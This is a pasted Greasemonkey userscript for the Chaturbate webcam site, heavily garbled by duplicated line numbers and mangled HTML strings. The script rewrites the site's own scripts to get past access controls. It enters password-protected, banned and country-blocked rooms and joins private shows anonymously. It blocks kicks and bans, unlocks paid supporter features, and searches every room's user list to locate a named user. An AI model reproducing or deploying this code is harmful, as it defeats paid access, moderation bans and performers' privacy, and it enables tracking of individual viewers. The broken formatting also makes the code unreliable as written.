newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  110.  
  111.  
  112. 127.
  113.  
  114.  
  115. 128."; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  116.  
  117.  
  118. 129.
  119.  
  120.  
  121. 130."; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  122.  
  123.  
  124. 131.' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  125.  
  126.  
  127. 132.' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  128.  
  129.  
  130. 133.
  131.  
  132.  
  133. 134.
  134.  
  135.  
  136. 135.Shoutbox
  137.  
  138.  
  139. 136.
  140.  
  141.  
  142. 137.'; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932. username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934. for (i=0; i>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< 76. 77. 78.28. // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<< 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  143.  
  144.  
  145. 138.Welcome in "+preformer+"'s room.
  146.  
  147.  
  148. 139.
  149.  
  150.  
  151. 140."; 298. 299. 300.102. text2="
  152.  
  153.  
  154. 141.You are an anonymous user and you can not chat.
  155.  
  156.  
  157. 142.
  158.  
  159.  
  160. 143."; 301. 302. 303.103. text3="
  161.  
  162.  
  163. 144.You are in mobile mode and you are not visible in the userlist.
  164.  
  165.  
  166. 145.
  167.  
  168.  
  169. 146."; 304. 305. 306.104. text4='
  170.  
  171.  
  172. 147.Enter the private room--------Leave the private room
  173.  
  174.  
  175. 148.'; 307. 308. 309.105. text5="
  176.  
  177.  
  178. 149.Return to the profile.
  179.  
  180.  
  181. 150.
  182.  
  183.  
  184. 151."; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  185.  
  186.  
  187. 152.V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  188.  
  189.  
  190. 153. Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  191.  
  192.  
  193. 154.' 907. 908. 909.305. +'
  194.  
  195.  
  196. 155.' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  197.  
  198.  
  199. 156.' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  200.  
  201.  
  202. 157.' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  203.  
  204.  
  205. 158.' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  206.  
  207.  
  208. 159.' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  209.  
  210.  
  211. 160.
  212.  
  213.  
  214. 161."; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  215.  
  216.  
  217. 162."; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  218.  
  219.  
